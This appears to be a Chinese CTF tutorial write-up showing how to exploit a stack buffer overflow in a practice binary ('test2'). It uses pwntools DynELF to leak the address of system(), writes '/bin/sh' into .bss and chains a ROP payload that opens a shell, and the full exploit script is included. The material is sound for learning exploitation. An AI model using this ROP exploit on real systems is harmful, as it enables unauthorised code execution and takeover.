本文是针对一步一步学rop之x86篇中的test2的一种memory leak(内存泄漏)的方法,是通过pwntools中DynELF模块来进行内存搜索。在ctf比赛中常常会遇到一种不提供libc.so的题目,都可以利用这样的方法在内存中寻找system()地址。
leak函数
#!python
def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF(‘./test2’))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup(‘system’, ‘libc’)来得到libc.so中system()在内存中的地址。
寻找地址
通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址。所以我们在payload中需要调用read()将“/bin/sh”这字符串写入到程序的.bss段中。.bss段是用来保存全局变量的值的,地址固定,并且可以读可写。所以首先要找到bss段的地址通过readelf -S level2这个命令就可以获取到bss段的地址了。
因为我们在执行完read()之后要接着调用system(“/bin/sh”),并且read()这个函数的参数有三个,所以我们需要一个pop pop pop ret的gadget用来保证栈平衡。这个gadget非常好找,用objdump就可以轻松找到。
最后需要寻找的就是vulfun_add,直接用gdb反编译一下程序就可以了。
da$ disassemble vlun_fun
Dump of assembler code for function vlun_fun:
0x0804844d <+0>: push ebp
0x0804844e <+1>: mov ebp,esp
0x08048450 <+3>: sub esp,0x98
0x08048456 <+9>: mov DWORD PTR [esp+0x8],0x100
0x0804845e <+17>: lea eax,[ebp-0x88]
0x08048464 <+23>: mov DWORD PTR [esp+0x4],eax
0x08048468 <+27>: mov DWORD PTR [esp],0x0
0x0804846f <+34>: call 0x8048310 <read@plt>
0x08048474 <+39>: leave
0x08048475 <+40>: ret
和明显地址是0x0804844d
最终的exp
整个攻击过程如下:首先通过DynELF获取到system()的地址后,我们又通过read将“/bin/sh”写入到.bss段上,最后再调用system(.bss),执行“/bin/sh”。最终的exp如下:
#!python
#!/usr/bin/env python
from pwn import *
elf = ELF('./test2')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulfun_addr = 0x0804844d
def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
p = process('./test2')
gdb.attach(p,"b *0x804850d")
#p = remote('127.0.0.1', 10002)
d = DynELF(leak, elf=ELF('./test2'))
system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)
bss_addr = 0x0804a024
pppr = 0x804850d
payload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
payload2 += 'C' * (256 - len(payload2))
#ss = raw_input()
print "\n###sending payload2 ...###"
p.send(payload2)
p.send("/bin/sh\0")
p.interactive()
这个exp在32kali上可以获得权限,在我的64位Ubuntu上无法获得权限,不知道为什么,纠结。。。。。。